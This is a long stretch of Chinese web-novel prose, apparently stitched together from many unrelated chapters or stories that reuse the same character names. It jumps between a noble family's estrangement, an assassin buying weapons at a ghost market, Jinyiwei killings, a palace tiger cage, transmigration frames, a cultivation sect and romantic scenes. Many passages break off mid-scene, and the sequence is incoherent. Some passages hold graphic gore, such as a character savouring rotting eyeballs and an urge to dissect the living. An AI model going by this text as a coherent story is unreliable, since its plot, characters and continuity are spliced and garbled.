外人只道他冷血阴狠,却不知午夜梦回,他无数次被无辜惨死的妻子和家人惊醒,而那与他一生无缘的子嗣,更是他做梦都不敢梦到的,遑论提及妄想。 温晚笙哑然。在鬼市子,卖武器的铺子和摊位很多,黎安在走走停停,将所需要的飞镖、吹箭、袖箭、银针都一一备齐。 偶然路过一家摊子,看到摊位上有买小型手.弩的,黎安在被吸引得停下脚步。 手.弩小巧轻便、射程较长、易于操作,黎安在狠狠心动了一下,摸了摸怀中揣着的有些干瘪下去的钱袋子,最终一咬牙,还是买了下来。 毕竟据楼中密报所说,摄政王周身护卫众多,极难突破,如果数次尝试都不成,远距离射杀,也不失为一种办法。 这么想着,黎安在的思路宽了起来,如果能用长弓淬油,远远点燃马车,将摄政王从马车中逼出,再使用手.弩,更加保险。 于是黎安在又去买了些淬火油。 将装备购置得差不多了,也到了鬼市子散市的时候,有“船夫”和“打更人”陆续沿着青石板路敲击铜锣,提醒大家时辰已到。来往的客人逐渐沿着矿道向外走,摊贩、商贾也一一收拾好自己的商品,熄灭火折子和灯笼,打包,随着人流逐渐离开矿洞。 黎安在也跟着人群向外走。 忽然,余光里看到一个妇人,却没有任何要离开的意思,不慌不忙地用铁钳从炉膛中夹出烧得赤红的铁料,放在砧板上,用粗壮的手臂轻轻松松拎起一旁沉重的铁锤。 黎安在停下了脚步,开口提醒:“大娘,快要闭市了,您不走吗?” 妇人抬头看了黎安在一眼,见眼前的人戴着兜帽覆面,把自己遮挡的严严实实,她虽然听不清眼前人说的内容是什么,只闻但音清亮纯粹,语气中也只是单纯的好奇。 妇人指了指自己的耳朵,大声问:“大点声,听不见。” 黎安在抬高声音,再次重复了一遍问题。 “哦,”妇人听清了,回头指了一下身后的小木屋,大声说,“我住这。” 他们才刚分别不过一个时辰,这样巧的事也确实少见。 乔青生露出诧异之色:“时老板竟与晚笙姑娘相识?” 时老板神出鬼没,即便他常来这书肆也很少见到他,没想到晚笙姑娘才搬来不过半月便与他相识了。 时将离无意识搓动手中扳指,似是想到什么趣事,半晌才笑道:“今日才相识。”他那双银灰的眸子直直盯着温晚笙,带着一丝不明意味:“不过却是一见如故,相见恨晚。” 温晚笙回望过去,但听见那大胆的话,耳尖不禁微微一红。 虽说大楚民风开放,但从未有人对她说过如此直白的话语。 乔青生双眸微瞪,左看右瞧,好似明白了什么。 时将离将少女的反应收进眼底,转而对乔青生道:“乔兄,今日又带来什么好作品了?” 乔青生想起此番前来的目的,登时将手中两幅字画铺在空荡荡的桌上,一一展开。 第一幅以深山幽谷为背景,一株挺拔的青竹独自伫立,竹叶随风摇曳。远山苍翠,青竹修长,宛如身置山间,每一根竹叶都活灵活现,仿佛能听到风吹过时的细微声响。上头还提了一行应景的诗句。 而第二幅呈现的却是截然不同的内容。在淡淡的墨色勾勒下,一位女童举着一只风筝,似是正准备扬起,而她身后坐着一名比她稍大的少年,手中拿着笔,嘴角噙着笑意地作画。 温晚笙双眸微垂,细细观察着那幅令人动容的画。 它越是要让她心生妒忌,那她便越要反其道而行之。 她忍住头疼欲裂之感,紧握住手侧茶杯,感受到微凉的瓷器表面,方才逐渐平复心绪。 她凝神平稳住声音,将自己的注意力转到正题之上:“温兄长。”她见男人抬眸看了她一眼,想起他之前那番话,还是恢复了从前的称呼:“你们此番前来可是来查醉月楼一案的?” 温归凌一听见醉月楼三字,面色登时变得严肃了些许。 他深深看了她一眼,似是没想到她这样的闺阁女子也会对此感兴趣。 见他微微颔首,却并未开口,温晚笙忆起先前在衙门见到的紫衣女子,不禁问出心中所惑:“那可查出什么了?” 是否真的是那名女子,一举杀害了几十名男子? 温归凌面色更为凝重,惜字如金道:“未曾。” 此案牵涉颇深,但那日,裘月影除了一口咬定她并非凶手外,未曾提供丝毫其他信息更没有提及与他过往点滴。 诸多证据皆指向她,而她却笙愿被怀疑,也不肯与他多说半句。 就像从前的岁月一横隔了无数红尘,再难回首。 知县提议直接将她捉拿归案,但他却仍心存挣扎。 今日他原是想再去一趟醉月楼,寻找是否还有其他线索,但温宛儿却坚持要来到这茶楼稍作休息。 恰逢天色骤变,他也便同意了。 没想到却在此遇见了温晚笙主仆二人。 那道声音已然消失,但温晚笙心中纷繁的思绪却如雨丝般飘洒。那日的刺客? 黎安在见燕歧一副风轻云淡的样子,谨慎地没有再次行动,手腕一翻,将剑锋直指燕歧咽喉。 “你是如何知道的?”黎安在挺直腰背,努力将气势撑起,缓步逼近。 “呵。” 又是一声轻笑,燕歧只垂眸看着近在咫尺的剑锋,那双狭长深沉的凤眸中,不经意流露出一切尽在掌控之中的绝对自信。 燕歧微微抬手,随着手臂的动作,偏过头,唇角微微勾起,给予自上而下的一瞥。 “现在知道了。” 黎安在身子一僵:“……” 连带着剑锋都跟着不易察觉地抖了一瞬。 可恶,他被骗到了! 燕歧装着深沉、无所不知的模样,原来竟是在诈他! 黎安在不再耽搁时间,腕上用力,足尖点地,如片叶阴影般,倏忽向前刺去。 “且慢,刺客阁下。” 剑锋已距颈侧不足一寸,燕歧依旧是那副游刃有余的模样,松散披着里衣,袒露胸前一大片肌肤,他倚靠在武器架上,即使长剑的薄刃几乎要刺破他的要害,剑光的寒芒明晃晃映在眼底,也依旧岿然不动。 黎安在心中起疑,他双目微眯,下意识放缓攻势,但依旧谨慎,生怕燕歧留有什么后手,黎安在将长剑架在燕歧的颈边,腕见力道沉稳,只需轻轻用力,便可割破燕歧的喉咙。 燕歧垂眼瞥向长剑,淡淡收回目光。少女左手执筷,夹起一块糖醋排骨送入口中,抿了口茶水,然后扒拉了一下米饭,直接拈起一块糕点。 同从前一样,比起无趣的饭菜,她更爱甜糯点心。 可为何她还记得爱糕点,却不记得爱他了? 笙笙我做错了什么? 温晚笙被盯得如芒在背,像有一根无形的丝线缠绕在她周身,越收越紧。 她抬起眼皮,飞快扫了一眼对面的人。 虽然说不用在乎别人的目光,可她在吃饭,那人却在用眼神‘吃’她。 草草吃了两口,她忍不住站起身来,若无其事地活动一下筋骨。 温晚笙又被他箍得胸口贴着胸口。她无奈,伸手轻拍他的背,“你是想把我勒死吗?” 他的胸膛硬邦邦的,远不如谢令仪和温若彤好抱。 翌日。 “温晚笙,你究竟为何陷要害宛儿!”许氏的声音如泣如诉,不复往日温婉:“你可知你这一举不仅害了她,还会令侯府蒙羞?” 才醒过来的温晚笙细眉紧蹙,望着一屋子冷眼看着她的人,还未反应过来,却听见祖母叹息道:“晚笙,祖母本以为你会悔过。” 她闻声抬眸,只见祖母眼中的慈爱,已然转变为失望。 她又做错什么了? 许氏不给她开口的机会,继续道:“如今我才知,你竟已不是第一次使这等手段!”她神情略微激动,喊道:“侯府教养了你这么多年,你竟依旧本性难移!” 温晚笙来回思量半晌,终于明白他们是为何而来。 在同一屋檐下生活了十余年,未曾想他们对她竟没有半分信任。 她倚在床头,未施粉黛如苔上初雪的脸庞,顿时更加苍白了几分。 她眨了眨眼,眼眶仿佛有些干涩,但竟是流不出半滴泪。 就在此时,她耳边再次响起那道蛊人心神的声音—— “他们这般薄情寡义待你皆是因为温宛儿。你就不恨吗?” 一抹异样情绪立时如万丈高山般,压得她无法喘息。 她下意识攥紧了垂在身侧的手,直至指尖微微发白。 是啊,她分明什么也没做,却在短短几日内,被接二连三地冤枉。 她清澈的眸中,终如那道空灵声所愿,闪过一丝恨意。 她冷眼望向昔日家人,却在看见祖母苍老的面庞时,眸中恨意逐渐消散。 她也曾是被人疼爱的。 她有什么资格狠他们? 他们毫无血缘之情,养了她十五载,已是仁至义尽。 她谁也怨不得,只能怨恨自己命该如此。 她嘴角勉强勾勒出一抹苦笑,心中已下决断:“晚笙多谢老夫人,侯爷,侯夫人,多年来的养育之恩。”她的嗓音微哑,却是异常坚定:“晚笙自请离开侯府。” 她已然察觉到,自温宛儿回府以来,不仅是她,侯府的其他人也变得愈发不对劲。 从前,他们断然不会不分青红皂白,接二连三给她定罪。 若继续留在府中,只怕此前那诡异的梦境也会一步步实现。 一直未言语的崇德侯严声道:“你这是何意?” 他未曾想过将养女逐出府。年末她便要嫁于晚庆王府,对侯府并非毫无用处。 见她默然不语,崇德侯语气生硬:“你若肯向宛儿认错,侯府仍可接纳你。” 少女垂首轻轻笑了声,就在众人以为她要伏低认错时,她露出素净的脸庞,掷地有声道:“晚笙没错。” 站在一旁不敢出声的一众婢女不禁暗叹她太过愚蠢,竟主动放弃这侯府嫡女身份。 崇德侯老谋深算的眸中,闪过一丝危险精光。 他原以为养女虽性子柔顺,却从不乏野心,但他如今发觉自己竟是从未看透过她。 在许氏含泪欲言又止之际,温老夫人望向昔日孙女:“罢了,便依你所言。”她疲态的眸中泛着一丝惋惜,语气却不容置喙:“等你伤势好转,便搬去侯府旧宅。” 温晚笙羽睫微颤,点了点头。 未曾想祖母竟还愿替她晚排去处。 兄长办案怎会带上她? 温晚笙几乎是立即明白过来,不动声色地看了眼抱琴,后者果真略显心虚地移开了视线。 她眸中逐渐泛起笑意,轻轻“嗯”了一声,即是答应了温宛儿的请求,也是在符合她最后一句心声。 确实,世间好男儿也并非只有他一人。【攻略进度100%】 温晚笙面上的笑容微微一滞,朝着声音的源头望去。 外头日光正盛,身穿青竹色广袖褒衣的少年半倚在门边,饶有兴致地注视着两人。 这身衣裳是她前两日与抱琴一同去布庄亲自挑选的,领口与袖口没有任何精致刺绣,只有些普通花纹。 但少年肆意张扬,硬是将一身书香气的衣裳穿得贵气天成。【攻略进度99%】 “呜。”“父亲,母亲。”温宛儿恭敬地行了一礼,丝毫没有紧张畏缩感。 明黄色绸裙衬托出她的身姿,简洁而不失明媚。温晚笙今日身着一袭淡蓝色纱裙,头上只戴了一支珊瑚钗,听见赞誉后,感到一丝不自在,避开了少女的视线。 她并未对温宛儿心生嫌隙,只是有些无地自容罢了。 血色正从小腿的伤口汩汩涌出,裴怀璟的身子虚虚晃了晃。 天边残存着夕阳落下的微弱光芒,映得温晚笙的发丝似泛起了金红色,脸逆着光,眼却亮,注视着他。裴怀璟唇角的笑却忽淡了点。 送走温晚笙后,裴怀璟在北镇抚司里待了不到一会就回裴家了。 裴怀璟回裴家待得最多的地方就是书房,今天也是。他启动书架的机关,露出那一排装着琉璃透明小罐的书架,慢慢走过。 他指尖轻轻敲过琉璃外壳,听它发出清脆悦耳的响声。 不知道为什么,今天心情有些古怪,说不出是那种情绪,不是简单的喜怒哀乐能够概括。 而看眼球能稍稍抚平那抹古怪,压下他想解剖活人的欲望。 琉璃透明小罐里的眼球因敲击而产生细微的浮动,仿佛有着生命,裴怀璟脚步轻快,用视线描绘它们的轮廓,像在欣赏美景。 愉悦感愈发浓烈了。 他扫向带血眼球的目光一顿,忽然取下其中一个琉璃小罐打开,夹出漂浮在药水里的眼球。 这个琉璃小罐的盖子有些破损了,有杂物飘进去,再加上就算用特殊的药水保存眼球也不能保存太久,最多只能保存一裴时间。所以这两颗眼球已经腐烂,散发恶臭,周围的水也变得浑浊。 仔细看,浅黄色的蛆在眼球里疯狂繁衍、生长。 用不着多久,眼球内部就会彻底被蛆蛀穿蛀烂,被蛆包围、吞噬、消化,吃得一点不剩。 他喜欢的好像都没法永远留存下来,哪怕用了千金难求的药处理过这些眼球,也还是不行。 裴怀璟端详了片刻,将这两颗眼球喂给他养在院子里的狗吃。 一眨眼的功夫,狗便吃完了,讨好对着他摇尾巴,像是还想继续吃。他弯下腰,没碰狗的嘴,只是很轻柔地抚摸了下它的脑袋。 裴怀璟看了狗半晌,站起来离开它,转身回房,将空了的那个琉璃罐洗干净,换个新盖子,再摆回书架里。 书桌上堆满了尚未处理的公务,他净手后坐过去批阅。 他的神色迷迷蒙蒙,可那双乌沉沉的眸子里,却有什么情绪无声地漾开。 他是她的人。 “你!”男子被少女这般架势慑得一顿,随即更怒,棍风呼啸着换了个方向,直戳向她,“拿命来!” 裴怀璟意识已近昏沉,单薄的脊背依旧护在少女身前。 他自己避无可避。 粗糙的木棍擦过他脸颊,从颧骨至下颌,划出一道斜长的血痕,血珠迅速渗出。 少年浑然不觉。 在第二棍落下的前一刻,他抬手稳稳握住。 棍子竟被他硬生生夺了过来。 温晚笙瞥了眼伤痕累累的少年,眼底掠过一丝讶异。 顿了一下,她夺过棍子,也向男子挥过去。 风吹影动,整个小院鸦雀无声,偶有几声虫鸣打破寂静。 血顺着眼角慢慢渗进温晚笙的双眼,眸底染上赤红,看东西模糊,就连裴怀璟的脸也看不清了。 温晚笙看不清裴怀璟的脸,他却能够将她看得仔细。 她头上还是今晚的双垂髻,为方便行动,首饰全摘了,只余丝绦,杏色丝绦绕于两侧绑住,尾端随着几缕乌黑柔软的发丝垂落。 裴怀璟过目不忘,记得她来裴家时所穿衣裙为淡黄齐腰襦裙,臂挽金银粉绘花披帛,现在变了,换成乡野女子常穿的裤裙。 此刻沾血发丝扫过温晚笙身上的裤裙,留下几道深色的痕迹。 得知衣柜里不止男子一人,他神情未变,曲指轻轻扣住拉手,从容不迫地拉开柜门,男子的尸体没木板挡住,马上滚了出来。 裴怀璟没看倒在脚下的那具尸体,看的是还半蹲在里面的温晚笙,语气倒是温柔似水,听不出情绪,似含讶异:“温七姑娘?” “你……怎会在此?” 温晚笙动了动蹲得发麻的腿,扶住因血而滑溜溜的柜沿出来。 一出来,她就跌倒在地,说不清是腿脚血液不流通,还是被直面男子的死一事骇到腿软。 离温晚笙最近的裴怀璟没出手接住她,或者去扶她起来,神态像悲悯怜人的菩萨,双眼却又隐隐透着非人的淡漠,深埋骨肉的冷血。 温晚笙在地上坐了多久,裴怀璟就在旁边站了多久。 站在裴怀璟身后的锦衣卫面面相觑,听出他认识这个女子,按住绣春刀的手一顿,没拔出来。 温晚笙还没缓过来,睫毛抖了下,看双手的血。穿书觉醒至今,她只想着赚钱,还没亲眼见有人以如此惨烈的方式死在自己眼前。 她知道锦衣卫办差少不得见血,可知道是一回事,亲眼所见又是另一回事,最重要的是绣春刀当时也有可能砍中她,取她命。 裴怀璟见温晚笙迟迟不起来,喊了她一声:“温七姑娘?” 温晚笙张嘴想说话,属于血的铁锈味顺着唇角飘进来,熏得她两眼一黑,男子头颅裂开,脑浆迸溅,死不瞑目的模样回放在眼前。 “呕。”温晚笙吐了。 她是真的生气了,也顾不得什么后果。 那些所谓的攻略任务,分明都是我们的过去。 你第一次牵我、抱我、打我、喂我、吻我的朱砂、为我吃味、吻我的唇、咬我、说喜欢我、说爱我 他完全忘了,关乎他们之间的记忆,也不属于他。 他不过只是空有与她相处的回忆,从未真正与她走过一段人生。 可他们本该是青梅竹马。 他好恨,恨前世的他,让他拥有了这些记忆,更恨这一世的他,能拥有不再失去她的机会,能够亲口说出爱意,能够牵动她的心,让她为之牵挂、为之思念。 还好007答应了他,会让她忘却所有。她不会像他这样,被困在记忆里,一遍遍重温,一遍遍失去,一遍遍尝尽相思之苦。 可她即便失了忆,还是选择了回来。 哪怕重来千百次,他们依旧会难以自抑地为彼此心动。 笙笙,我好爱你。 “笙笙,不要想起他” “好好活着。” 缘深或缘浅,生生世世,他只会皈依她。 第 117 章 第 117 章 手背痒痒的,还有些微刺痛。温晚笙迷迷糊糊地一摸,触到一个毛茸茸的东西。 顿了一下,她猛地掀开眼皮,惺忪的视线撞进一双杏核状的眼睛里。 她登时无奈又嫌弃地把手往被子上一擦,“来福,你怎么舔我” “喵呜。”小猫歪着脑袋,表示无辜。 很快,温晚笙意识到了不对劲。 她可没养猫,这只猫是那个鳏夫的。 如果是梦,一觉醒来,不应该回到现实吗? 温晚笙抬手摸了摸湿润的眼角,不是猫的口水,像是泪水。 梦中人说的那些话,是什么意思? 没来由地,她想起手机屏幕上,突然冒出来的那个前世今生的故事。 裘月影看着随性张扬,却自有一股掌事之人的沉稳,不用她问,就向她禀告起了近日状况。 凝香斋生意能这么火爆,其中有一大半是裘月影的功劳。 温晚笙一开始还能耐着性子听,后来只觉得那声音听起来,跟谢衡之念经似的。光听出来生意兴隆,最近还在研发新品。 对什么事情都毫不关心,上辈子给她刻的墓碑还刻错了字,温晚笙的“晚”少了三点水,过了几天后大半夜的突然想起来,急急忙忙拿着刻刀冲到山顶给她补上。 少女深吸一口气,勉强让自己冷静下来,缓缓在椅子上坐下,深呼吸几口后才发问: “所以你今天去哪了?”有着绝世容貌的女主被一堆男人抢来抢去,这些男人权势滔天,女主只能被动承受着少年天骄们对她那狂风暴雨般的爱。 这种不用动脑子的书看起来太爽了。 女主什么也不用做,只要眼眶一红,就有无数男人为他肝脑涂地的感觉也太爽了。 代入一下的话,真的很难抗拒。 温晚笙是在一个平常的傍晚看完这本书的,那时残阳如血,天边红彤彤一大片,还没有找到实习的温晚笙决定做一个废物。 她向书屋借了那本书,乘着飞机回到乡下老家,拿个小板凳坐院子门口的大树下看小说打发时间。 大树旁边有一个小土堆,又有一窝蚂蚁在这里落了户。 书页翻了又翻,蚂蚁在她脚下来来往往,白色的洞洞鞋沾了点土,天边的晚霞越来越浓艳,金红色的晚霞铺在天空上,一直往远处延伸,很像火凤凰的长长尾羽。 这只美丽的火凤凰正飞向地平线,独留美丽的尾羽在天空中摇曳。 这是温晚笙关于家乡的最后记忆。 第二天早晨醒来时,她穿书了。温晚笙没有凑热闹,只规规矩矩跟在最后面,偶尔瞧见旁边的稀罕玩意儿,又忍不住多看两眼。 就这样,她不知不觉落后队伍好几步,被随行的宫人提醒了,才恍然惊醒,抬脚就要追上去。 然等她一抬头,却发现就在不远处,裴怀璟竟停了下来,似是在赏花,可在瞧见她追来后,很快又收回视线,状若无物地跟上去。 温晚笙:“……” 似乎要跟裴怀璟殿下道一声谢,可她又怕是自己多想了,人家真的在赏花,而非是等她跟上。 还是算了。 揽芳殿距御花园不算太远,一群人说说笑笑,很快便到了。 他们抵达时,已经有宫人端着吃锅子的工具过来,选了视野最开阔的一处凉亭,外面搭上隔风的挡篷,炉里的炭火燃起,很快就将整个凉亭烤得暖烘烘的,方便小主子们玩累了回来烤火。 “我知道瑞兽在哪,跟我来!” 随着谢衡之的一声招呼,几个年岁小的欢呼一声,赶忙追上他的脚步,温晚笙本不想跟过去的,奈何大家不论快慢,都在往那边走。 而裴怀璟缀在最后面,看他的意思,明显是要等旁人都去了,他才会一起,而面对他那张波澜无惊的面孔,温晚笙实在不敢说什么,踌躇许久,只能失落地垂下脑袋,慢吞吞跟上去。 绕过长长的太白玉围栏和高耸的假山,一只足有三人高的大铁笼映入眼前,铁笼上的每根铁柱都有成年男人手臂粗。 这还只是铁笼的纵向高度,东西两方的长短更是无法比较丈量。 铁笼正中,那只被念了好多次的老虎酣卧在被撕咬破坏的猎物上,浓郁的血腥气从笼中弥漫出来。 孩子们刚还闹腾着,可在见到这样一幕后,不约而同噤声,目露惧色,止步在数步之外,再不敢上前。 看着他们都不敢往前走了,温晚笙倒轻松了几分。 但对于这裴围的味道,她着实不敢恭维,忍下鼻尖的不适,试图寻个背风的地方,好叫空气里的血味散开些。 要说面对此情此景,难得能面不改色的,也唯有裴怀璟殿下了。 他不远不近地跟在后面,在打量过众人脸色后,估摸着不会有大碍,也没有主动提出要离开的话。 还有被她母后单独点出的时掌印的女儿—— 裴怀璟多看了两眼,见温晚笙只是面色有点发白,并无太过强烈的反应,索性招来随侍:“将我昨晚没看完的那册书取来。” 过了好一会儿,孩子们勉强适应一些了。 笼里的场面虽有些残暴血腥,可到底是外邦进贡的瑞兽,金眸银鬓,威风凛然,哪怕瑞兽就在宫中,也非时时能见到的。 既然惧意褪去,好奇很快占了上风。 二皇子打了一声招呼,率先走近过去。 在他动作的同时,笼中的银虎睁开眼睛,甩了甩尾巴,竟撑着前肢站了起来,又是引起众人一阵惊呼。 裴兰湘惦着脚尖往里看,眼珠一转,不知想到什么。 她一跃从石块上跳下去,转身大喊一声:“温晚笙,你过来!” 一时间,几人同时转头,目光锁定在最后的温晚笙身上。 温晚笙:“……六公主,您有什么吩咐吗?” 这一刻,她的直觉雷达闻声而动,发出尖锐的警报声。 裴兰湘勾了勾手指,笑道:“没有吩咐,你过来,我们一起玩,母后说了要我们好好相处,我这便带你一起玩,一起好好玩。” 哪怕只是捧着一捧杂草从这边送去那边,也总比叫她呆呆站在一边,盯着母亲的坟头要好许多。 事实证明,有事可做的温晚笙少了许多伤感,又或者她只是将这份悲痛暂压在心底,只顾着给娘亲收拾罢了。 从正午到日落,荒凉了许久的坟头总算规整了起来。 温晚笙蹭了蹭脸上的灰尘,拽了拽阿爹的袖口,问道:“阿爹,接下来我们要做什么呢?” “唔——”时序沉思片刻,“今日就没什么要做的了,天色不早了,我们先找个地方休息,等明早天亮了,我们再回来。” “阿归身子不好,若贪黑着凉就不好了,阿归也不想叫你娘担心的吧?” “不不不!”温晚笙瞪圆眼睛,将想留下的话彻底咽回肚里,“那我不要留下了,我不想叫娘亲担心……我等明天再来。” “正该如此的。” 时序看了看两人身上,反正也是一样的满身灰尘尘,就不用怕弄脏对方了。 他将温晚笙抱起来,哄她跟娘亲说了一声再见,便头也不回地离开后山。 为了方便后续安排,他们没有再去镇上,而是在村子里找了一处空置的房屋,给屋主人付了些银子,简单清扫后,就此住了下来。 晚膳也是潦草,几人快速填饱肚子,就各自回房歇下。 温晚笙和时序是住在一间屋里的,但只有温晚笙躺下,时序只说有点紧急的公务要处理,捧着一册书靠坐在床边。 屋里燃了安神的香,说是用来清除屋里的霉气的。 温晚笙缩在被子里,眼睛半开半合,却是不到一刻钟就彻底睡熟了过去。 就在她的呼吸平稳后,原在处理公务的时序突然站了起来,他走到房门处轻轻敲了两下,转瞬就听到时一的声音响起:“大人,一切都准备好了。” 时序眸光一沉,回头看了眼,旋身出了房门,又轻手轻脚地将房门合上。 就那么突然的,没有任何征兆的穿进了那本书里。 一睁眼不是卧室里雪白的天花板,也没看见床边的白色蚊帐,而是低矮的天花板和窑洞一样漆黑阴暗的屋子。 她以为自己做了噩梦,正打算叫喊,可一张嘴只发出了一阵微弱的呼声。 她这才发现自己变成了小小的一团,变成了一个裹在襁褓中的婴儿。 她愕然地抬眸,看见屋子里有一个大土炕,睡着一家五口人,炕头睡着一大一小两位男性,她自己在炕尾,旁边睡着一个瘦弱女孩。 那一刻的惊恐和茫然,不是文字可以形容出来的,哪怕过了很久很久,温晚笙都能清晰地回忆起每一个小小的细节。 深夜里男人的呼噜声。 年轻男孩的磨牙声。最小最受宠的弟子正是女主羽落清,正因如此,四弟子姚蓉蓉心理失衡,疯狂黑化,走上了与女主作对的道路。 最后甚至朝着女主发射了三枚毒针想要女主的命,紧要关头,女主的暗卫替女主挡住了那三枚毒针,完成了一个炮灰的使命。 谢衡之恰好穿成了这个倒霉的暗卫,因此对这一情节格外刻骨铭心。 此时此刻,她忘记了自己的社恐,喃喃说道:“小太岁?” “这是谁,我怎么从来没有听说过?” 徐清听见了谢衡之的喃喃自语,道:“你们岛外的人自是不知道小太岁的,她曾经是羽朝送来的药童,是地宫里用来试药的药人,因为天赋出众,被我们岛主收为弟子。” 地宫里试药的药人? 原著里确实有这么一段剧情. 羽朝后宫争宠,皇后的养颜汤里被下了剧毒,年仅五岁的女主羽落清因为好奇误食了皇后的养颜汤,所以中了剧毒。 这种剧毒令皇宫的太医们束手无策,就连来自碧海潮生的神医们都难以根治。 为了治好金枝玉叶的小公主,皇宫里的人便找来了十名和女主年纪相同的五岁女童用来试药。 这些女童被灌了剧毒,又被送到碧海潮生充当小白鼠,被关在不见天日的地宫里,为羽朝的小公主试药。 这段情节在原著中不过短短几行,也就一百字左右。 若是不特意提及,谢衡之也是记不起来的。 此时此刻,她的心像是被人拴了一个铅块,猛地往下一沉。 走在前面的裴怀璟问道:“医宫里有她的牌子么?” 徐清再次摇头:“按照岛上的规矩,精通医术的医者都要在医宫挂上自己的牌子,就没有例外的,可小太岁从不在医宫挂牌,旁人虽然诸多不满,但也不敢说什么。” “除了小太岁,我们岛主还新收了一个弟子,名叫羽落清,因为还没正式行过拜师礼,所以说起我们岛主的弟子时,大家还是说五个。” 裴怀璟疑惑:“拜师礼有那么重要吗?” 徐清再次摇头:“这行了拜师礼和没行拜师礼就是不一样,名不正,言不顺。” “我们碧海潮生规矩严苛,官大半阶压死人,没有行过拜师礼就不算真正的弟子。” 裴怀璟又好奇地问道:“既然规矩严苛,那为什么没有行过拜师礼呢?” 徐清突然往四处看了看,压低声音说道:“听说和小太岁有关。” 裴怀璟:“啊?” 徐清:“小太岁不喜欢这个新来的女弟子,估计是小女孩之间的争锋吃醋,怕新的小弟子夺了她的宠爱,据说前些日子大闹了一场,把仙居殿弄了个人仰马翻。” 裴怀璟:“仙居殿是哪?” 徐清:“是广寒宫的一处宫殿,这是我们岛主住的地方,普通弟子是没资格进去的,我们也不知道发生了什么事,只知道岛主雷霆震怒,小太岁也被关了禁闭,现在都没放出来。” 裴怀璟:“豁,你们这小太岁脾气还挺大。” 小太岁这称呼一般都是家里人称呼家里小孩,多多少少带着点宠溺娇惯的味道。 原著里没出现过的新人物让谢衡之的心有些乱,心中蓦地生出一种惊慌和失控的感觉。 如果没猜错,小太岁就是为女主试药的女童之一。 “去老杜那里啊。”裴怀璟抠抠脖子试图缓解打嗝。 “真的?”温晚笙缓缓眯起眼,眼底中多了几分危险,“没骗我?你真的没有去偷偷找隔壁宗门的掌门?” “你在说什么啊。”少年疑惑看她,“我去找他做什么,又没到交房租的日子。” 他说的理所应当,好似温晚笙才是那个无理取闹的人。 少女心头的火像是被他浇了一碗油,噌地一下窜起。 还说呢!她今天可是亲耳听到那孟伦说的,他有事没事就往那儿跑,都快当上亲传弟子了。 “我可是听说,那宗主中意你中意的紧啊。”温晚笙不屑轻哼,“而且人家可是传说中的三大宗之一呢,哪是我们小小云丹门能比的?” 她说这话时脑子里啥也没想,完全没注意到自己的语气有多酸。 若是寻常男子,定会上前耐心询问一番,温柔也好训斥也好,总要对青梅竹马的师妹这番无缘无故的闹脾气做出点反应。 可裴怀璟毕竟不是一般人。 他只是很慢很慢地眨了眨眼,疑惑地看回去。 “你是不是又随便乱吃炼废的丹药了?” 温晚笙只觉得气血逆流上涌,险些被气死。 “你才吃错药了!还不是你骗我?你敢说你说的话句句属实,没有一点虚假的成分?!”她骂完之后迅速反应过来,接着道,“还有不许打嗝!” “当然属实。”裴怀璟修长的手指有一搭没一搭地敲打着木桌,游刃有温地将问题抛给她,“所以你到底又炼出什么玩意了,都说炼废了就扔出去,别老舍不得,一天天的揣兜里有事没事就掏出来当糖球使。” 她下意识想要回怼,可下一瞬,对方的手已经触碰到了她的跟前,在她的额前极轻,极温柔地抚了一下。 少女的脊背瞬间绷直,想骂的话化作一个空嗝,被她硬生生给吞回了肚子里。 晚风,细柳,斜阳。 日光懒洋洋地打在屋檐上,房顶上的雪还没有化,映射出一点亮光。 这里是一片风水极佳的宝地。 地上白的一片是雪,身边川流不息的是河,剑炉边桃花开得正好,给整座山谷增添了不少独属于春日的暖意。 有一身着月白色的男子端坐在其中,他面容晚俊,双眸低垂,头发与睫毛皆是白色,晚晚冷冷的,仿佛在雪地里原地羽化飞仙。 如果能忽视掉旁边某个一直在说个不停的家伙的话。 “昨天,我一回来她就开始给我挑毛病了,我做什么她都不满意,我都不知道自己哪得罪她了,明明出门的时候还好好的,而且我也没有回来的很晚啊。” 谪仙人抚剑的动作顿了一下,随后继续低头研究他那把剑。 “她还让我自己反省自己错在哪了,对了,还在我身上放了什么虫子,我也不知道愚蠢干嘛的,放好几天了都。” 他越说越激动,捂着脸嚎啕大哭,还试图把鼻涕抹在树干上。 最后因为树皮太硬,选择退而求其次把鼻涕甩进了河里。 纵是晚冷如杜榆都有些绷不住,不动声色地往旁边挪了挪。 他还在继续哀嚎。 “但是她以前不这样的,我俩以前关系可好了。但是你知道她昨天对我怎么说的吗……呜呜呜我不活了!!” “闭嘴!” 长剑划破空中,溅起一点水花。只见白发一闪,他整个人便已经朝着桃花树下的人影劈了过去,不过他到底是没真刺中,剑影在一瞬间被一团红云吞噬,他一怔,竟硬生生将剑脱了手。 正在哭哭啼啼的男子双腿一软跪在地上,裤裆湿成一片。 “老杜啊老杜,把客人吓成这样,你还要怎么做生意。” 坐上树上的少年一偏头,笑着将方才接住的剑抛回给杜榆。 “你这家伙还真是脾气坏。”裴怀璟走过来在他的肩上狠狠戳了一下,又趁对方爆发前灵果躲开,“客人不就和你抱怨一下嘛,你随便听听不就得了。” “只有一下?”杜榆打开他的手,只觉得太阳穴突突直跳。 从早上开始,符汇就像脚底扎根了一样,赖在他这剑炉不走了,不是哭就是在哭的路上。 这也就罢了,偏偏身边还有个看热闹不嫌事大的,一直在旁边整得和个捧哏似的煽风点火。 害他掌心火差点失控,险些把整个剑炉都烧了。 于器修而言,对火灵力的操控要求极为严格,就算他是天才,也做不到在别人抱着他的腿絮絮叨叨的时候还能心如止水! “那,那前辈,您能救我吗?” 凉凉的唇瓣失了章法般磨过她的鼻尖、脸颊,又辗转落在她的唇瓣上。 “二小姐” “唉。” 短暂分开换气后,少年本能地追了上去,急切的吻带着压抑太久的渴念,与失而复得的慌乱。 他不知道她这次又能停留多久。 温晚笙被吻得浮浮沉沉,紧紧贴在他身上,毫不吝啬地回应着。 唇齿厮磨之间,丝毫没有察觉到“咔哒”一声轻响,手腕被什么东西扣住。 第 118 章 第 118 章 少年低低唤着她的名字。 温晚笙一声声纵着他,也哄着他。 左手被他缠着,半点动不了,她只能用右手把身体撑一点起来,免得把人压出什么好歹。 裴怀璟察觉到起伏,直接扣住她的腰,不容分说地将她重新按下去。 两人的唇瓣略重地撞了一下,温晚笙下意识闭上眼,待少年含住她的唇吮吸,她方才睁眼瞪他。 刚好对上他晦暗难辨的眸色。 温晚笙鼻尖顶着他的脸颊,轻轻咬了下他的舌尖,到底没说什么重话。只是摸摸他冰冰凉凉、棱角分明的脸。 谢衡之一剑刺穿太子师弟的胸膛,以太子师弟那个脾性,两人必定不死不休。 如果不是裴怀璟身重尸毒,谢衡之绝对不会踏足这里。 